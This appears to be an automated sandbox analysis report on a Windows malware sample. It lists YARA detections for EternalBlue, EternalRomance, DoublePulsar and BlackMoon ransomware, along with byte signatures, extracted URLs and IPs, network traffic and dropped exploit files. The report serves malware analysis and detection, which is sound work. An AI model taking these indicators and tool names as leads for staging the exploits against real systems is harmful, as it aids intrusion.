0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0x2c291:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2da29:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2efe1:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x35b89:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x37321:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x388d9:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3f01d:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x406b9:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x41b89:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x482c5:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x49961:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4ae31:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4ddd1:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x50d79:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x541d5:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x57655:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x5e251:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x5fa09:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x60fdd:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x67bb1:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x69369:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0xcc5df:$x1: [-] Error: Exploit choice not supported for target OS!! 0xcc28a:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0xcc363:$x3: [-] Error: Backdoor not present on target 0xcb00e:$x4: ********* TARGET ARCHITECTURE IS X64 **********
0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack	Regin_Related_Malware	Malware Sample - maybe Regin related	Florian Roth	0x115a8:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0x9c6c8:$s4: msvcrtd.dll 0x9d422:$s4: msvcrtd.dll 0x115c4:$s5: %d.%d.%d.%d%c
0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x1431c:$ci1: CNEFileIO_ 0x1432f:$ci1: CNEFileIO_ 0x14343:$ci1: CNEFileIO_ 0x14358:$ci1: CNEFileIO_ 0x1436d:$ci1: CNEFileIO_ 0x14383:$ci1: CNEFileIO_ 0x14395:$ci1: CNEFileIO_ 0x143b0:$ci1: CNEFileIO_ 0x143c4:$ci1: CNEFileIO_ 0x143d9:$ci1: CNEFileIO_ 0x143ec:$ci1: CNEFileIO_ 0x143fe:$ci1: CNEFileIO_ 0x14411:$ci1: CNEFileIO_ 0x14425:$ci1: CNEFileIO_ 0x1443a:$ci1: CNEFileIO_ 0x1444d:$ci1: CNEFileIO_ 0x14467:$ci1: CNEFileIO_ 0x14481:$ci1: CNEFileIO_ 0x14495:$ci1: CNEFileIO_ 0x144a8:$ci1: CNEFileIO_ 0x144bc:$ci1: CNEFileIO_
0.2.exe3.bin.bak.exe.400000.0.unpack	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
0.2.exe3.bin.bak.exe.400000.0.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.exe3.bin.bak.exe.400000.0.unpack	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
0.2.exe3.bin.bak.exe.400000.0.unpack	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0x1f1ef4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1f368c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1f4c44:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1fb7ec:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1fcf84:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1fe53c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x204c80:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x20631c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2077ec:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x20df28:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x20f5c4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x210a94:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x213a34:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2169dc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x219e38:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x21d2b8:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x223eb4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x22566c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x226c40:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x22d814:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x22efcc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
0.2.exe3.bin.bak.exe.400000.0.unpack	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0x292242:$x1: [-] Error: Exploit choice not supported for target OS!! 0x291eed:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0x291fc6:$x3: [-] Error: Backdoor not present on target 0x290c71:$x4: ********* TARGET ARCHITECTURE IS X64 **********
0.2.exe3.bin.bak.exe.400000.0.unpack	Regin_Related_Malware	Malware Sample - maybe Regin related	Florian Roth	0x1d720b:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0x26232b:$s4: msvcrtd.dll 0x263085:$s4: msvcrtd.dll 0x1d7227:$s5: %d.%d.%d.%d%c
0.2.exe3.bin.bak.exe.400000.0.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x1d9f7f:$ci1: CNEFileIO_ 0x1d9f92:$ci1: CNEFileIO_ 0x1d9fa6:$ci1: CNEFileIO_ 0x1d9fbb:$ci1: CNEFileIO_ 0x1d9fd0:$ci1: CNEFileIO_ 0x1d9fe6:$ci1: CNEFileIO_ 0x1d9ff8:$ci1: CNEFileIO_ 0x1da013:$ci1: CNEFileIO_ 0x1da027:$ci1: CNEFileIO_ 0x1da03c:$ci1: CNEFileIO_ 0x1da04f:$ci1: CNEFileIO_ 0x1da061:$ci1: CNEFileIO_ 0x1da074:$ci1: CNEFileIO_ 0x1da088:$ci1: CNEFileIO_ 0x1da09d:$ci1: CNEFileIO_ 0x1da0b0:$ci1: CNEFileIO_ 0x1da0ca:$ci1: CNEFileIO_ 0x1da0e4:$ci1: CNEFileIO_ 0x1da0f8:$ci1: CNEFileIO_ 0x1da10b:$ci1: CNEFileIO_ 0x1da11f:$ci1: CNEFileIO_
0.2.exe3.bin.bak.exe.400000.0.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x1c0eb4:$s1: blackmoon 0x1c0ef4:$s2: BlackMoon RunTime Error:
Click to see the 28 entries

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://&co=&resource_id=6006&oe=utf8/api.php?query=
Source: exe3.bin.bak.exe, 00000000.00000003.2275482893.0000000000E09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://118.184.169.48/dyndns/getip
Source: exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://2024.ip138.com
Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://Down.ftp2
Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://Down.ftp2Z
Source: exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://ip.360.cn/IPShare/info
Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://ip.360.cn/IPShare/infohttp://2024.ip138.comhttp://www.cip.cc
Source: exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://members.3322.org/dyndns/getip
Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://members.3322.org/dyndns/getiptaskkill
Source: exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://purl.oclc.org/dsdl/schematron
Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://relaxng.org/ns/structure/1.0
Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://relaxng.org/ns/structure/1.0allocating
Source: exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.ascc.net/xml/schematron
Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.ascc.net/xml/schematronhttp://purl.oclc.org/dsdl/schematronallocating
Source: exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.cip.cc
Source: exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd
Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtdConverting
Source: exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.oberhumer.com
Source: exe3.bin.bak.exe	String found in binary or memory: http://www.openssl.org/
Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.openssl.org/V
Source: exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html....................rbwb.rndC:HOMERANDFILEprng
Source: exe3.bin.bak.exe	String found in binary or memory: http://www.zlib.net/
Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.zlib.net/D

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 63396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 51299 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51386
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51271
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51332 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56694
Source: unknown	Network traffic detected: HTTP traffic on port 56694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53186
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63652
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50230
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51365
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51242
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50235
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 51200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 51271 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50926
Source: unknown	Network traffic detected: HTTP traffic on port 51242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51299
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56664
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63396
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.6:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:56694 version: TLS 1.2

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Code function: 0_2_0044C980 GlobalAlloc,GlobalFix,GlobalUnWire,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0044C980

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Code function: 0_2_0044C980 GlobalAlloc,GlobalFix,GlobalUnWire,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0044C980

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Code function: 0_2_0044CAE0 OpenClipboard,GetClipboardData,CloseClipboard,GlobalSize,GlobalFix,GlobalUnWire,CloseClipboard,

0_2_0044CAE0

Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00438760 GetKeyState,GetKeyState,GetKeyState,GetKeyState,	0_2_00438760
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004AD588 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,	0_2_004AD588
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00436A40 IsWindowEnabled,TranslateAccelerator,IsChild,GetFocus,PostMessageA,PostMessageA,SendMessageA,IsChild,IsWindow,IsWindowVisible,SendMessageA,SendMessageA,SendMessageA,SendMessageA,GetParent,SendMessageA,WinHelpA,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,IsWindow,	0_2_00436A40
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004AF0AA GetKeyState,GetKeyState,GetKeyState,GetKeyState,	0_2_004AF0AA

Spam, unwanted Advertisements and Ransom Demands

Yara detected BlackMoon Ransomware

Source: Yara match	File source: 0.2.exe3.bin.bak.exe.55b2e0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.exe3.bin.bak.exe.4dfad8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.exe3.bin.bak.exe.4bb7f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.exe3.bin.bak.exe.4bb7f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.exe3.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Desktop\Wmicc.exe, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.exe3.bin.bak.exe.5df276.3.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 0.2.exe3.bin.bak.exe.55b2e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.exe3.bin.bak.exe.4dfad8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.exe3.bin.bak.exe.4bb7f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.exe3.bin.bak.exe.4bb7f8.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.exe3.bin.bak.exe.5df276.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 0.2.exe3.bin.bak.exe.5df276.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 0.2.exe3.bin.bak.exe.5df276.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 0.2.exe3.bin.bak.exe.5e2e89.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 0.2.exe3.bin.bak.exe.5e2e89.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 0.2.exe3.bin.bak.exe.5e2e89.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack, type: UNPACKEDPE	Matched rule: Malware Sample - maybe Regin related Author: Florian Roth
Source: 0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 0.2.exe3.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 0.2.exe3.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 0.2.exe3.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Malware Sample - maybe Regin related Author: Florian Roth
Source: 0.2.exe3.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 0.2.exe3.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Malware Sample - maybe Regin related Author: Florian Roth
Source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: Process Memory Space: exe3.bin.bak.exe PID: 4036, type: MEMORYSTR	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: Process Memory Space: exe3.bin.bak.exe PID: 4036, type: MEMORYSTR	Matched rule: Malware Sample - maybe Regin related Author: Florian Roth
Source: Process Memory Space: exe3.bin.bak.exe PID: 4036, type: MEMORYSTR	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Users\user\Desktop\Eternalblue-2.2.0.xml, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.xml, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Users\user\Desktop\coli-0.dll, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Users\user\Desktop\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Users\user\Desktop\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Users\user\Desktop\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Users\user\Desktop\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Users\user\Desktop\Eternalromance-1.4.0.xml, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Users\user\Desktop\Eternalblue-2.2.0.exe, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Users\user\Desktop\dmgd-4.dll, type: DROPPED	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: C:\Users\user\Desktop\Wmicc.exe, type: DROPPED	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen

Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004AC216 NtdllDefWindowProc_A,CallWindowProcA,	0_2_004AC216
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004ABA29 NtdllDefWindowProc_A,	0_2_004ABA29
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004AC5AE wsprintfA,GetClassInfoA,NtdllDefWindowProc_A,	0_2_004AC5AE
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004AC5BE wsprintfA,wsprintfA,GetClassInfoA,NtdllDefWindowProc_A,	0_2_004AC5BE
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00439460 GetClassInfoA,NtdllDefWindowProc_A,	0_2_00439460
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004ADDD2 NtdllDefWindowProc_A,	0_2_004ADDD2

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Code function: 0_2_004010CB CreateMutexA,CreateProcessAsUserA,

0_2_004010CB

Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0041827F	0_2_0041827F
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00415174	0_2_00415174
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00422580	0_2_00422580
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_005C8065	0_2_005C8065
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0046C190	0_2_0046C190
